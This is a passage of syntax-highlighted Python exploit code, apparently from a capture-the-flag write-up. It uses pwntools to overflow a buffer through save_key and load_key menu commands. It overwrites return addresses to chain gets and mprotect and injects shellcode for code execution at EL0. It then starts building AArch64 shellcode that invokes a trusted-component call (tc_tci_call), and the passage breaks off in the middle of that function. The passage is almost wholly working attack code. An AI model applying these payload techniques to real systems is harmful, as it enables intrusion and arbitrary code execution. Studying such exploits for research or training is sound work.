&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cmd&amp;gt; &amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;index: &amp;#34;&lt;/span&gt;, str(idx)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;save_key&lt;/span&gt;(idx: int, key: bytes):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cmd&amp;gt; &amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;index: &amp;#34;&lt;/span&gt;, str(idx)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;key: &amp;#34;&lt;/span&gt;, key)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;el0_arbitrary_code_execute&lt;/span&gt;(assembly: str) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gets&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gets&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x120&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; make_64_shellcode(assembly)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; len(pl) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; (&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\x00&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; (&lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; len(pl))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;main&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x44&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;mprotect&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x1000&lt;/span&gt;, pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    load_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(EL0_RET)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gets&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(DUMMY_VALUE)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(EL0_SFP_IN_RUN &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x30&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; p64(EL0_STACK_LOW &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(EL0_BUF &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x120&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;sel0_arbitrary_code_execute&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    sel0_assem: str &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; bytes, el0_assem: str &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    SEL_WSM_ADDR &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x2400000&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x2000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    TCI_BUF &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFEFFFFE000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    TCI_HANDLE &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x23FE000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;tc_tci_call&lt;/span&gt;(cmd: int, index: int, size: int, data: bytes) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; str:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; data
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        assem &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        movz x1, #&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;gets&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFF&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        movk x1, #&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex((elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;gets&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFF&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;, LSL #16;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        add x0, x28, #0x0C;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        blr x1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        movz x0, #&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(cmd)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        str w0, [x28, #0];&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        movz x0, #&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(index)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        str w0, [x28, #4];&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        movz x0, #&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(size&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFF&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFF&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            assem &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            movk x0, #&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(size&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;, LSL #16;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        assem &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        str w0, [x28, #8];&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        movz x3, #&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;tc_tci_call&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFF&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        movk x3, #&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex((elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;tc_tci_call&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFF&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;, LSL #16;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        movz x0, #&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(TCI_HANDLE&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFF&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        movk x0, #&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(TCI_HANDLE&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;, LSL #16;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        blr x3;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tc_tci_call&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;data &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; data &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;
